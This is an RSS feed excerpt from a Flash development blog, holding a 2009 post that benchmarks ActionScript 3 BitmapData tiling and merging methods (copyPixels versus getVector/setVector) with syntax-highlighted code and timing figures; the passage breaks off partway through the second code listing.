<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; Flash Player</title>
	<atom:link href="http://www.flashfuck.it/category/flash-player/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>BitmapData manipulation benchmark</title>
		<link>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/</link>
		<comments>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 19:54:49 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[BitmapData]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=144</guid>
		<description><![CDATA[Today I encountered this blog post from Zevan (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:
First strike (Zevan&#8217;s one): copyPixels

?View Code ACTIONSCRIPT&#91;SWF&#40;width=650, height=650&#41;&#93;
var loader:Loader = [...]]]></description>
			<content:encoded><![CDATA[<p>Today I encountered <a href="http://actionsnippet.com/?p=1760">this blog post from Zevan</a> (which blog is REALLY a good daily reading I suggest everyone to take) about bitmapData merging and I started tweaking some code doing some benchmarks to find out which way is the most performing. Here are my tests:</p>
<p>First strike (Zevan&#8217;s one): <strong>copyPixels</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code5'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1445"><td class="code" id="p144code5"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>BitmapData<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 <span style="color: #000000; font-weight: bold;">var</span> currTile:BitmapData= <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>tileWidth, tileHeight, <span style="color: #000000; font-weight: bold;">true</span>, 0x00000000<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 currTile.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>image, rect, pnt, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
			 tiles<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = currTile;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dy - locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
		<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dx<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&amp;&amp;</span> <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">abs</span><span style="color: #66cc66;">&#40;</span>locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> - dy<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&lt;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dx;
			locY<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> = dy;
			<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>interval<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
   interval = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>animate, <span style="color: #cc66cc;">32</span>, <span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">var</span> canvas:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>,<span style="color: #000000; font-weight: bold;">false</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> loc:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onLoop<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
	  canvas.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span>canvas.<span style="color: #006600;">rect</span>, 0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>tiles.<span style="color: #0066CC;">length</span>; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			<span style="color: #000000; font-weight: bold;">var</span> tile:BitmapData= tiles<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">x</span> = locX<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			loc.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">copyPixels</span><span style="color: #66cc66;">&#40;</span>tile, tile.<span style="color: #006600;">rect</span>, loc, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">null</span>, <span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;copyPixels&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>in my machine (mbp, osx) it takes <strong>~27</strong> ms to extract data and ~2-3ms each iteration for setting data on the canvas bitmapData</p>
<p>Second strike: getVector\<strong>setVector</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p144code6'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1446"><td class="code" id="p144code6"><pre class="actionscript" style="font-family:monospace;"><span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">650</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">650</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #000000; font-weight: bold;">var</span> loader:Loader = <span style="color: #000000; font-weight: bold;">new</span> Loader<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> URLRequest<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;http://actionsnippet.com/wp-content/chair.jpg&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
loader.<span style="color: #006600;">contentLoaderInfo</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">COMPLETE</span>, onLoaded<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span>;
<span style="color: #000000; font-weight: bold;">var</span> rows:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> cols:<span style="color: #0066CC;">Number</span> = <span style="color: #cc66cc;">20</span>;
<span style="color: #000000; font-weight: bold;">var</span> tiles:Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Vector.<span style="color: #66cc66;">&lt;</span>uint<span style="color: #66cc66;">&gt;&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> tileRect:Rectangle;
<span style="color: #000000; font-weight: bold;">var</span> locX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> locY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> rY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sX:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> sY:Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span> = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&lt;</span>Number<span style="color: #66cc66;">&gt;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> onLoaded<span style="color: #66cc66;">&#40;</span>evt:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	w = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">width</span>;
	h = evt.<span style="color: #0066CC;">target</span>.<span style="color: #0066CC;">height</span>;
	<span style="color: #000000; font-weight: bold;">var</span> image:BitmapData = Bitmap<span style="color: #66cc66;">&#40;</span>evt.<span style="color: #0066CC;">target</span>.<span style="color: #006600;">content</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">bitmapData</span>;
	<span style="color: #000000; font-weight: bold;">var</span> tileWidth:<span style="color: #0066CC;">Number</span> = w <span style="color: #66cc66;">/</span> cols;
	<span style="color: #000000; font-weight: bold;">var</span> tileHeight:<span style="color: #0066CC;">Number</span> = h <span style="color: #66cc66;">/</span> rows;
	tileRect = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> inc:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>;
	<span style="color: #000000; font-weight: bold;">var</span> pnt:Point = <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> rect:Rectangle = <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,tileWidth,tileHeight<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> startTime:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; i<span style="color: #66cc66;">&lt;</span>rows; i++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> j:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;">0</span>; j<span style="color: #66cc66;">&lt;</span>cols; j ++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
			 rect.<span style="color: #006600;">x</span> = j <span style="color: #66cc66;">*</span> tileWidth;
			 rect.<span style="color: #006600;">y</span> = i <span style="color: #66cc66;">*</span> tileHeight;
			 tiles<span style="color: #66cc66;">&#91;</span>tiles.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#93;</span> = image.<span style="color: #006600;">getVector</span><span style="color: #66cc66;">&#40;</span>rect<span style="color: #66cc66;">&#41;</span>;
			 rect.<span style="color: #006600;">x</span> += <span style="color: #cc66cc;">25</span>;
			 rect.<span style="color: #006600;">y</span> += <span style="color: #cc66cc;">25</span>;
			 sX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">x</span>;
			 sY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rect.<span style="color: #006600;">y</span>;
			 locX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rX<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = -rect.<span style="color: #0066CC;">width</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>
			 locY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> = rY<span style="color: #66cc66;">&#91;</span>inc<span style="color: #66cc66;">&#93;</span> =  <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>;
			 setTimeout<span style="color: #66cc66;">&#40;</span>startAnimation, inc <span style="color: #66cc66;">*</span><span style="color: #cc66cc;">4</span> + <span style="color: #cc66cc;">100</span>, inc, rect.<span style="color: #006600;">x</span>, rect.<span style="color: #006600;">y</span><span style="color: #66cc66;">&#41;</span>;
			 inc++;
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;vector push:&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
	addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, onLoop<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> startAnimation<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span>, dx:<span style="color: #0066CC;">Number</span>, dy:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> interval:<span style="color: #0066CC;">Number</span>;
	<span style="color: #000000; font-weight: bold;">var</span> animate:<span style="color: #000000; font-weight: bold;">Function</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">index</span>:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
		locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span> += <span style="color: #66cc66;">&#40;</span>dx - locX<span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">index</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">/</span> <span style="color: #cc66cc;">4</span>;
